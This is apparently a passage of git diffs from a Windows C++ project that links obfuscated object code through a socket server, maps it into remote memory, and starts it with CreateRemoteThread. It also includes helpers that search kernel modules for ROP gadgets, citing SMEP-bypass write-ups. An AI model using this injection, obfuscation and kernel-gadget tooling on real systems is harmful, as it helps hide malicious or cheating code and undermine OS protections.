response->entry_point =
linker.get_symbol("DrvEntry");
break;
}
case theo_file_type::demo_dll:
case theo_file_type::demo_imgui:
{
response->entry_point =
linker.get_symbol("main");
break;
}
default:
{
std::printf("[!] unsupported file... type = %d\n", response->file);
closesocket(client_socket);
}
}
std::printf("[+] completed linking...\n");
std::printf("[+] module entry = 0x%p\n", response->entry_point);
send(client_socket, reinterpret_cast<char*>(response), sizeof theo_data, NULL);
closesocket(client_socket);
break;
}
default:
{
std::printf("[!] unknown command = %d\n", packet->type);
closesocket(client_socket);
}
}
memset(packet, NULL, sizeof theo_data);
}
delete packet;
std::printf("[+] socket closed with reason = %d\n", WSAGetLastError());
}
}

@ -0,0 +1,84 @@
#pragma once
#include <ws2tcpip.h>
#include <thread>
#include "theo.h"
#include "utils.hpp"
// if you change this, make sure
// to change it in the client also...
#define PACKET_DATA_SIZE 0x1000
// max symbol string size... if you
// change this update the client also...
#define PACKET_SYMBOL_SIZE 0x1000
namespace theo
{
enum class theo_packet_type
{
init,
alloc_memory,
resolve_symbol,
copy_memory,
disconnect
};
enum class theo_file_type
{
demo_drv,
demo_dll,
demo_imgui
};
#pragma pack(push, 1)
typedef struct _theo_data
{
theo_packet_type type;
union
{
theo_file_type file;
std::uintptr_t entry_point;
struct
{
void* addr;
std::size_t alloc_size;
} alloc;
struct
{
void* dest_addr;
std::size_t size;
std::uint8_t data[PACKET_DATA_SIZE];
} copy_memory;
struct
{
std::uintptr_t symbol_addr;
std::size_t symbol_size;
char symbol[PACKET_SYMBOL_SIZE];
} resolve;
};
} theo_data, * ptheo_data;
#pragma pack(pop)
class client
{
public:
explicit client(SOCKET client_socket);
~client();
private:
void handler() const;
void* wrapper_memcpy(void* dest, const void* src, std::size_t size) const;
void* wrapper_alloc(std::size_t size) const;
std::uintptr_t wrapper_resolve_symbol(const char* symbol_name) const;
const SOCKET client_socket;
std::thread handler_thread;
};
inline std::map<SOCKET, std::shared_ptr<client>> connections;
inline std::map<theo_file_type, std::vector<lnk::obj_buffer_t>> lib_files;
}

@ -0,0 +1,76 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <functional>
#include <fstream>
#include "utils.hpp"
namespace lnk
{
enum theo_type
{
obfuscate = 1,
mutate = 2,
encrypt = 3
};
struct symbol_t
{
// name of the symbol... not mangled...
std::string symbol_name;
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation
std::uint32_t type;
// what section this symbol is in...
std::uint32_t section_number;
// offset into section...
std::uint32_t section_offset;
// file offset into OBJ file...
std::uint32_t file_offset;
// only used by functions... size in bytes of routine...
std::uint32_t size;
// if this symbol is a function and is inside of a .theo section...
theo_type obfuscate_type;
};
// redef of IMAGE_RELOCATION so that "VirtualAddress"
// will actually be a file offset instead of a section offset...
struct image_reloc_t
{
// name of the symbol to be resolved for example "ExAllocatePool"...
std::string resolve_symbol_name;
// offset into the obj file where the resolving needs to be done...
std::uint32_t file_offset;
// type of data that needs to be resolved... this will be 64bit addresses...
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators
std::uint16_t type;
};
using obj_buffer_t = std::vector<std::uint8_t>;
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t;
auto get_objs(std::string lib_path, std::vector<obj_buffer_t>& objs) -> bool;
auto get_map_symbols(std::string map_path) -> map_symbols_t;
namespace sym
{
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
}
namespace section
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
}
}

@ -0,0 +1,104 @@
#include "client.hpp"
#include "linker.hpp"
int __cdecl main(int argc, char** argv)
{
if (argc <= 4)
{
std::printf("[!] invalid usage...\n");
std::printf("\t> server.exe --ip 0.0.0.0 --port 1234\n");
std::printf("\t> server.exe --ip 0.0.0.0 --port 1234 --debug\n");
return -1;
}
for (auto idx = 0; idx < argc; ++idx)
if (!strcmp(argv[idx], "--debug"))
dbg_print = true;
int result{};
SOCKET server_socket, client_socket;
WSADATA startup_data;
ADDRINFOA addr_info, *addr_result = nullptr;
memset(&addr_info, NULL, sizeof addr_info);
if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data)))
{
std::printf("[!] failed to startup wsa... reason = %d\n", result);
return -1;
}
if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result)))
{
std::printf("[!] failed to get address info = %s:%s, reason = %d\n",
argv[2], argv[4], result);
return -1;
}
if ((server_socket = socket(addr_result->ai_family,
addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET)
{
std::printf("[!] failed to create socket... reason = %d\n",
WSAGetLastError());
return -1;
}
if ((result = bind(server_socket, addr_result->ai_addr, addr_result->ai_addrlen)))
{
std::printf("[!] failed to bind server socket... reason = %d\n", result);
return -1;
}
if ((result = listen(server_socket, SOMAXCONN)))
{
std::printf("[!] failed to listen on socket... reason = %d\n", result);
return -1;
}
// read libs off disk and into map...
std::vector<lnk::obj_buffer_t> demo_dll, demo_imgui, demo_drv;
lnk::get_objs("DemoDll.lib", demo_dll);
if (demo_dll.empty())
{
std::printf("[!] failed to load DemoDll.lib objs...\n");
return -1;
}
std::printf("[+] loaded objs from DemoDll.lib... count = %d\n", demo_dll.size());
lnk::get_objs("DemoDrv.lib", demo_drv);
if (demo_drv.empty())
{
std::printf("[!] failed to load DemoDrv.lib objs...\n");
return -1;
}
std::printf("[+] loaded objs from DemoDrv.lib... count = %d\n", demo_drv.size());
lnk::get_objs("DemoImGui.lib", demo_imgui);
if (demo_imgui.empty())
{
std::printf("[!] failed to load DemoImGui.lib objs...\n");
return -1;
}
std::printf("[+] loaded objs from DemoImGui.lib... count = %d\n", demo_imgui.size());
theo::lib_files[theo::theo_file_type::demo_dll] = demo_dll;
theo::lib_files[theo::theo_file_type::demo_drv] = demo_drv;
theo::lib_files[theo::theo_file_type::demo_imgui] = demo_imgui;
std::printf("[+] listening on %s:%s...\n", argv[2], argv[4]);
while ((client_socket = accept(server_socket, NULL, NULL)) != INVALID_SOCKET)
{
theo::connections[client_socket] =
std::shared_ptr<theo::client>(
new theo::client(client_socket));
sockaddr socket_info;
int socket_info_len = sizeof socket_info;
const auto psocket_info =
reinterpret_cast<sockaddr_in*>(&socket_info);
getpeername(client_socket, &socket_info, &socket_info_len);
std::printf("[+] new client... ip = %s\n", inet_ntoa(psocket_info->sin_addr));
}
}

@ -0,0 +1,40 @@
#pragma once
#include <Windows.h>
#include <string>
#include <vector>
#include <functional>
#include <map>
namespace obfuscation{ class obfuscate; }
namespace lnk { using obj_buffer_t = std::vector<std::uint8_t>; }
namespace theo
{
using malloc_t = std::function<decltype(malloc)>;
using memcpy_t = std::function<decltype(memcpy)>;
using resolve_symbol_t = std::function<std::uintptr_t(const char*)>;
using mapper_routines_t = std::tuple<malloc_t, memcpy_t, resolve_symbol_t>;
class hmm_ctx
{
public:
explicit hmm_ctx(const mapper_routines_t& routines);
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
malloc_t kalloc;
memcpy_t kmemcpy;
resolve_symbol_t resolve_symbol;
private:
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);
bool map_obfuscated_symbols(std::vector<lnk::obj_buffer_t>& objs);
bool resolve_relocs(std::vector<lnk::obj_buffer_t>& objs);
bool alloc_obfuscated_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
bool alloc_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
std::map<std::string, std::uintptr_t> mapped_symbols;
std::map<std::uintptr_t, std::shared_ptr<obfuscation::obfuscate>> obfuscated_gadgets;
};
}

@ -0,0 +1,428 @@
/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <fstream>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG KvaShadowRequired : 1;
ULONG KvaShadowRequiredAvailable : 1;
ULONG InvalidPteBit : 6;
ULONG L1DataCacheFlushSupported : 1;
ULONG L1TerminalFaultMitigationPresent : 1;
ULONG Reserved : 18;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
namespace utils
{
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
inline std::uint32_t get_pid(const wchar_t* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
if (!module_base)
{
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto export_um_addr =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name));
if (!export_um_addr)
return NULL;
return (export_um_addr - reinterpret_cast<std::uintptr_t>(module_base)) + image_base;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

@ -4,8 +4,7 @@
#include <vector>
#include <functional>
#include <fstream>
#include <string>
#include <map>
#include "utils.hpp"
namespace lnk
{
@ -58,22 +57,20 @@ namespace lnk
using obj_buffer_t = std::vector<std::uint8_t>;
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t;
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj)->std::uint32_t;
auto get_objs(std::string lib_path, std::vector<obj_buffer_t>& objs) -> bool;
auto get_map_symbols(std::string map_path) -> map_symbols_t;
auto get_map_symbols(std::string map_path)->map_symbols_t;
namespace sym
{
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
auto get_all(obj_buffer_t& obj)->std::vector<symbol_t>;
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
auto get_idx(obj_buffer_t& obj, std::uint32_t symbol_idx)->symbol_t;
}
namespace section
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
auto get_header(obj_buffer_t& obj, const char* section_name)->PIMAGE_SECTION_HEADER;
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
auto calc_symbol(obj_buffer_t& obj, std::uint32_t section_number, std::uintptr_t section_offset)->symbol_t;
}
}

@ -73,6 +73,10 @@ int main(int argc, char** argv)
if (!strcmp(argv[idx], "--pid"))
pid_offset = idx + 1;
for (auto idx = 3; idx < argc; ++idx)
if (!strcmp(argv[idx], "--debug"))
dbg_print = true;
if (!pid_offset || !(pid = std::atoi(argv[pid_offset])))
{
std::printf("[!] invalid pid...\n");
@ -168,11 +172,14 @@ int main(int argc, char** argv)
std::printf("[+] module entry -> 0x%p\n", module_entry);
std::getchar();
std::uint32_t tid = 0u;
CreateRemoteThread(phandle, NULL,
NULL, module_entry, NULL, NULL, (LPDWORD)&tid);
if (module_entry)
{
std::uint32_t tid = 0u;
CreateRemoteThread(phandle, NULL,
NULL, module_entry, NULL, NULL, (LPDWORD)&tid);
std::printf("[+] thread id = %d\n", tid);
std::printf("[+] thread id = %d\n", tid);
}
std::printf("[+] press enter to close...\n");
std::getchar();
}

@ -5,7 +5,7 @@
#include <functional>
#include <map>
namespace obfuscation{ class obfuscate; }
namespace obfuscation { class obfuscate; }
namespace lnk { using obj_buffer_t = std::vector<std::uint8_t>; }
namespace theo
@ -21,7 +21,7 @@ namespace theo
public:
explicit hmm_ctx(const mapper_routines_t& routines);
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
auto get_symbol(std::string symbol_name)->std::uintptr_t;
malloc_t kalloc;
memcpy_t kmemcpy;

@ -19,22 +19,23 @@
#include <vector>
#include <map>
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
@ -166,7 +167,7 @@ namespace utils
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
@ -332,22 +333,22 @@ namespace utils
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
@ -369,8 +370,8 @@ namespace utils
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
@ -406,9 +407,9 @@ namespace utils
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
if (rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
@ -417,7 +418,7 @@ namespace utils
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
);
return !result;
}
);

@ -23,8 +23,8 @@ namespace theo
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
malloc_t kalloc;
memcpy_t kmemcpy;
malloc_t alloc;
memcpy_t mcopy;
resolve_symbol_t resolve_symbol;
private:
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);

@ -19,8 +19,9 @@
#include <vector>
#include <map>
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 282 KiB

@ -1143,7 +1143,7 @@ struct Max { template<typename T> static inline T op(T x, T y) noexcept { ret
//!
//! while (it.hasNext()) {
//! uint32_t bitIndex = it.next();
//! std::printf("Bit at %u is set\n", unsigned(bitIndex));
//! DBG_PRINT("Bit at %u is set\n", unsigned(bitIndex));
//! }
//! ```
template<typename T>

@ -102,7 +102,7 @@ namespace lnk
namespace sym
{
auto get_relocs(obj_buffer_t& obj) -> std::vector<image_reloc_t>
auto relocations(obj_buffer_t& obj) -> std::vector<image_reloc_t>
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
@ -178,64 +178,7 @@ namespace lnk
return result;
}
auto get_idx(obj_buffer_t& obj, std::uint32_t symbol_idx) -> symbol_t
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
const auto symbol_table =
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
const auto string_table =
reinterpret_cast<const char*>(
reinterpret_cast<std::uintptr_t>(symbol_table) +
(coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL));
symbol_t symbol{};
if (symbol_table[symbol_idx].N.Name.Short)
symbol.symbol_name =
std::string(reinterpret_cast<char*>(
symbol_table[symbol_idx].N.ShortName));
else
symbol.symbol_name =
std::string(string_table +
symbol_table[symbol_idx].N.Name.Long);
if (symbol.symbol_name.empty() ||
symbol.symbol_name.c_str()[0] == '.' ||
symbol_table[symbol_idx].SectionNumber < 1)
return {};
symbol.file_offset = section_headers[symbol_table[symbol_idx]
.SectionNumber - 1].PointerToRawData + symbol_table[symbol_idx].Value;
symbol.section_number = symbol_table[symbol_idx].SectionNumber;
symbol.section_offset = symbol_table[symbol_idx].Value;
symbol.type = symbol_table[symbol_idx].Type;
symbol.size = get_symbol_size(symbol, obj);
const auto section_name =
reinterpret_cast<const char*>(
section_headers[symbol_table[symbol_idx].SectionNumber - 1].Name);
if (!strncmp(section_name, ".theo2", sizeof(".theo2") - 1))
symbol.obfuscate_type = theo_type::encrypt;
else if (!strncmp(section_name, ".theo1", sizeof(".theo1") - 1))
symbol.obfuscate_type = theo_type::mutate;
else if (!strncmp(section_name, ".theo", sizeof(".theo") - 1))
symbol.obfuscate_type = theo_type::obfuscate;
else
symbol.obfuscate_type = (theo_type)NULL;
return symbol;
}
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>
auto symbols(obj_buffer_t& obj) -> std::vector<symbol_t>
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
@ -311,41 +254,6 @@ namespace lnk
namespace section
{
// calc what symbol the section offset lands in... this is used for jmp tables and offsets into arrays...
auto calc_symbol(obj_buffer_t& obj, std::uint32_t section_number, std::uintptr_t section_offset) -> symbol_t
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
const auto symbol_table =
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx)
{
if (symbol_table[idx].SectionNumber == section_number)
{
const auto symbol = lnk::sym::get_idx(obj, idx);
if (!symbol.size)
continue;
if (section_offset >= symbol.section_offset &&
